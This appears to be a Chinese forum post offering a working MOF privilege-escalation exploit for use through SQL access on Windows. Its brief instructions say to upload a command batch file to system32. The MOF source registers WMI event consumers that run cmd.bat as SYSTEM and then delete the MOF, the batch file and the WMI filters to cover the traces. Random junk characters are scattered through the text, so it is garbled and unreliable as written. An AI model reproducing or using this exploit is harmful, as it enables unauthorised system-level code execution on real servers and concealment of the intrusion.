这个sql提权MOF需要运行 system下的文件,不能定义路径。& g$ }! N: Y# Y+ [5 F1 V
需要将要运行的命令写入到bat上传到system32目录,然后执行。
g \' {& t6 \7 B
, u; w2 @& F7 k) L0 r* F这个sql提权MOF需要运行 system下的文件,不能定义路径。
$ K. s; ^( Z( q" I需要将要运行的命令写入到bat上传到system32目录,然后执行。
1 v8 D+ F5 o8 Z* L3 K! j: l, @) [# o' i
#pragma. G6 y* ]1 F @, n4 y2 W
namespace("\\\\.\\root\\cimv2")7 t$ E2 n0 u- W# I+ ^3 U$ A. [
class1 x0 k( o( \" d; ]1 B c- `
MyClass547
( @2 k) _; S# Y0 Q { [key]( T2 Y" D: r) B2 l; f" n, E
string3 h [- w/ t5 l3 \
Name;
h6 ]6 p7 s1 h0 L5 k };8 d2 x( i/ N3 A' L$ A4 O4 |
class
$ n* T! S% t: F# C ActiveScriptEventConsumer
8 s! M5 M# s9 T" H8 z! [& _# J : __EventConsumer { [key]
# s$ s, t& [$ u i7 y5 n) i" y string
* \# Y) d: R2 T# L Name; [not_null]- M: t6 s% C E* T
string
' M1 G9 I/ e8 x: M* X5 S; S0 P/ t ScriptingEngine; string
! ~& S& p. O# U ScriptFileName; [template]; k( i. M8 U# Z; p
string
; k$ V& @0 Z8 o ScriptText; uint32 KillTimeout;8 w. _3 r( D% N: u
}; instance of __Win32Provider as $P {8 h$ u6 X3 F* s+ N
Name7 f2 Q1 C) M: _7 l% U2 R$ c3 ?" D
=
% r8 f7 X! d8 X2 y' h* N "ActiveScriptEventConsumer"; CLSID =0 I [6 u* _2 C0 A o
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
# n' g* m; o" @/ o- T5 _ c PerUserInitialization, q' f- [' O! r& J& R
= TRUE;% C! W7 E, D+ s9 @
}; instance of __EventConsumerProviderRegistration { Provider
( i6 Q" U# m* ^: x6 ] \# m = $P; ConsumerClassNames& i, c; e/ Q+ f4 O- p" Z7 G
=
+ @" V% ]+ q5 g7 o+ W {"ActiveScriptEventConsumer"};
+ T5 G* D. f; R7 M9 D6 n, O% G" t };
" ~# v# z( e1 v9 \8 W Instance of ActiveScriptEventConsumer+ A- h4 M; R* x1 q3 c3 o! e
as $cons { Name. |; Y& {0 d4 `+ S0 L0 A
=+ o/ [1 k: ]3 K6 ? Z
"ASEC"; ScriptingEngine
% z8 }- w2 W' H7 a! W! t =7 L E% C: ?2 W
"JScript"; ScriptText
" q3 j: ^! J) y8 o$ ] =
( Z# f# q7 _+ M# ~ t& B9 X "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
. [) R! d7 n7 v8 ]+ l Instance of ActiveScriptEventConsumer. [/ E( V, c8 B @9 O7 d! ^
as $cons2 { Name; Y$ j$ ~4 m5 i3 N
=
" t& U6 R. f+ g7 P' Z) p2 n "qndASEC"; ScriptingEngine
9 F3 I3 X: w8 w8 c& S7 ^ =7 }, I% m4 t3 [; p/ k' S
"JScript"; ScriptText
3 G# |1 s/ S! f =, i3 R% N8 q' M' D& s7 i( f7 }3 g2 H
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";" |" z7 @; C9 R% Z& n/ A* r' M2 x6 |
}; instance of __EventFilter as $Filt { Name9 I3 s! C9 ?; X W& y1 J
=. Z! l. A; Y( |$ }* ~! L; x4 j
"instfilt"; Query7 r& O L/ a: ^7 ?: z# ]3 `
=
1 @4 R- s4 d8 r' U2 x8 i "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
; q) s0 |4 |' b$ I3 y) ] =
! ]& H/ I3 ~$ Q: O* R& G "WQL"; }; instance of __EventFilter as $Filt2 { Name9 F( r# q+ Q: i2 m8 Z" ?, \
=
, v) \; Z) z( f: P "qndfilt"; Query
4 E( U1 f! d* M2 a7 | =# R( h4 W5 l3 G) o) ]- `
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
$ e/ }% g5 F7 T0 g4 b8 s# L" I =1 P# g' }1 g$ Q+ W w, w: b) i# V
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
; g2 P+ l9 P! ` = $cons; Filter
6 r" M, n' `* U6 X v" ` = $Filt;& _; X( \, q. J1 {7 g! e- `
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
- _! S3 W3 e; U `: D! G = $cons2; Filter
1 ~3 B7 T# z" d& i1 W* D = $Filt2;& t- x, T/ {1 Y- `
}; instance of MyClass547/ Q/ z. S7 ^. R; g+ u+ L$ F, p
as $MyClass { Name
' O$ P/ U+ ]; q7 B =) x2 w0 m2 ^ |" V
"ClassConsumer";
3 @& U4 R/ M; k7 _. }) X6 q' v }; |